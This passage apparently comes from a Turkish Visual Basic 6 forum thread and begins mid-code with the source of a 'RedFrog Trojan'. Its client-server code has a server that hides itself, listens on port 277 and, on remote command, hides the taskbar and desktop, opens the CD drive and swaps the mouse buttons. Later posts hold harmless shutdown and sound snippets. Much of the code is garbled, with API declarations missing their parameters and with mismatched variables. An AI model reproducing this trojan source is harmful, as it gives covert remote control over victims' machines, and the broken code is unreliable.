Command7_click Winsock. SendData "hidetask" DoEvents End Sub Private Sub Command8_Click Winsock. SendData "getmouse" DoEvents End Sub Private Sub Command9_Click Winsock. SendData "leavemouse" DoEvents End Sub Private Sub Timer1_Timer On Error Resume Next Text4. Text = Winsock. State End Sub Private Sub Form_Unload Winsock. Close End End Sub Private Sub winsock_connect Text4. Text = "Connected!" Form1. Caption = "RedFrog Trojan Connected" Command1. Caption = "Connect New" End Sub 0 Server 0 Option Explicit Private Declare Function SetWindowPos Lib "user32" As Long Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function ShowWindow Lib "user32" As Long Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" As Long Const SWP_HIDEWINDOW = &H80 Const SWP_SHOWWINDOW = &H40 Private Sub Form_load server. LocalPort = 277 server. Listen Me. Hide End Sub Private Sub server_connectionrequest server. Close server. Accept requestid End Sub Private Sub server_DataArrival Dim tmpData As String server. GetData tmpData Select Case tmpData Case "Cdclose" JohnSysInfo1. CDRomDoor = False Case "Cdopen" JohnSysInfo1. CDRomDoor = True Case "showtask" Timer1. Enabled = True Timer1. Interval = 10 Timer2. Enabled = False Case "hidetask" Timer2. Enabled = True Timer2. Interval = 10 Timer1. Enabled = False Case "hidedesk" Timer3. Enabled = True Timer3. Interval = 10 Timer4. Enabled = False Case "showdesk" Timer3. Enabled = False Timer4. Enabled = True Timer4. Interval = 10 Case "getmouse" JohnSysInfo1. UseLeftHandMouse = False Case "leavemouse" JohnSysInfo1. UseLeftHandMouse = True End Select End Sub Private Sub timer1_timer Dim Thwnd As Long Thwnd = FindWindow Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) End Sub Private Sub timer2_Timer Dim Thwnd As Long Thwnd = FindWindow Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) End Sub Private Sub timer4_timer Dim hWnd As Long hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString) ShowWindow hWnd, 5 End Sub Private Sub timer3_timer Dim hWnd As Long hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString) ShowWindow hWnd, 0 End Sub

guzel eline saglik

Bu basit API ILE Windows elinizde masa üstünüz icin birebir. Option Explicit 'API Kullanici tanitma Private Declare Function GetUserName Lib "advapi32. dll" _ Alias "GetUserNameA" As Long Private Declare Function GetLastError Lib "kernel32" _ As Long Private Declare Function FormatMessage Lib "kernel32" _ Alias "FormatMessageA" As Long 'API windows u kapama Private Declare Function ExitWindows Lib "User32" Alias _ "ExitWindowsEx" As Long Const EWX_LOGOFF = 0 Const EWX_SHUTDOWN = 1 Const EWX_REBOOT = 2 Private Sub Form_Load Dim User$ User = Chr$(34) & User_Name & Chr$(34) If Len > 2 Then Option1. Caption = User & " Cikis" End Sub Private Function User_Name As String Dim L&, Sonuc&, Hata& Dim User$, Puffer$ 'Kullanici ismine erisim User = Space(255) L = 255 Ergebnis = GetUserName If Ergebnis <> 0 Then User_Name = Left$(User, L - 1) Else User_Name = "" End If End Function Private Sub Command1_Click If Option1. Value Then 'Kullanici degistirme ExitWindows EWX_LOGOFF, &HFFFF Unload Me ElseIf Option2. Value Then 'Yeniden baslatma ExitWindows EWX_REBOOT, &HFFFF Else 'Kapatma ExitWindows EWX_SHUTDOWN, &HFFFF End If End Sub Private Sub Command2_Click MsgBox "Neden simdi?" Unload Me End Sub Private Sub Command3_Click MsgBox "Artik yardimci olamam!" Unload Me End Sub WAV Dosyası Eklemek! Private Sub Command1_Click sndPlaySound "ringin. wav", 0 End Sub Private Sub form_load 'windows içerisinde bulunan herhangi bir wav dosyası sndPlaySound "ringin. wav", 5 End Sub